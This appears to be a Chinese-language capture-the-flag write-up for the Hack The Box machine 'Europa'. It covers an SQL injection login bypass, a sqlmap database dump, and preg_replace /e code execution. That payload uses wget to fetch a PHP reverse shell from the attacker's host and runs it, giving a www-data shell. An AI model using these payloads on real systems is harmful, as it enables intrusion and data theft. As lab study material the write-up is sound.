引子
一天可以当两天用,可是当十天不行。 不要低估日积月累的作用。
scan
1 |
|
web
http://10.10.10.22
目录扫描
1 |
|
查找版本漏洞
searchsploit apache 2
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak | exploits/linux/webapps/42745.py searchsploit -m exploits/linux/webapps/42745.py python3 42745.py -u https://10.10.10.22/ -a
Optionsbleed 漏洞未发现
https
ssl/http Apache httpd 2.4.18 ((Ubuntu)) 参考资料:http://liaoph.com/openssl-san/
SAN(Subject Alternative Name) 是 SSL 标准 x509 中定义的一个扩展。使用了 SAN 字段的 SSL 证书,可以扩展此证书支持的域名,使得一个证书可以支持多个不同域名的解析。
sslyze --regular 10.10.10.22
? 以前遇到过 将域名和ip绑定,访问网站就会正常显示。而直接通过ip访问,网站不能正常解析。 当时没有深入探究,是什么导致的。
1 |
|
wget https://admin-portal.europacorp.htb –no-check-certificate -O admin-portal.europacorp.htb
sql注入
burp将数据包copy to file,选择保存为1.txt
sqlmap -r 1.txt --dbms mysql -p email --force-ssl --dump
获得数据库内容后,得知了用户名是admin@europacorp.htb
以下列的数据登入后台。 email=admin@europacorp.htb’ or ‘1’=’1&password=098098
代码执行
看到网页上有个输入点,立刻想到了命令执行漏洞,burp抓包看一下。
1 |
|
参考资料:
- http://www.madirish.net/402
- 深入研究preg_replace与代码执行
- 常见web漏洞-command execution
pattern=/^(.*)/e&ipaddress=system(wget http://10.10.14.18:1234/php-reverse-shell.php -P /tmp
);&text=
pattern=/^(.*)/e&ipaddress=system(php -f /tmp/php-reverse-shell.php
);&text=
得到一个权限为www-data的shell
提权
1 |
|
总结
在sql注入输入admin@europacorp.htb’ or ‘1’=’1的时候,页面js脚本总是弹出用户名不是邮箱,这时候该怎么办呢?
这里有一个小技巧:
点击intercept is on,通过burp proxy拦截输入用户名密码里的数据包,然后修改数据包中的内容,修改完成后,点击intercept is off。
这时候数据包就会直接发往服务器,你就可以看到网页已经登陆了。
这是绕过js验证的一个技巧。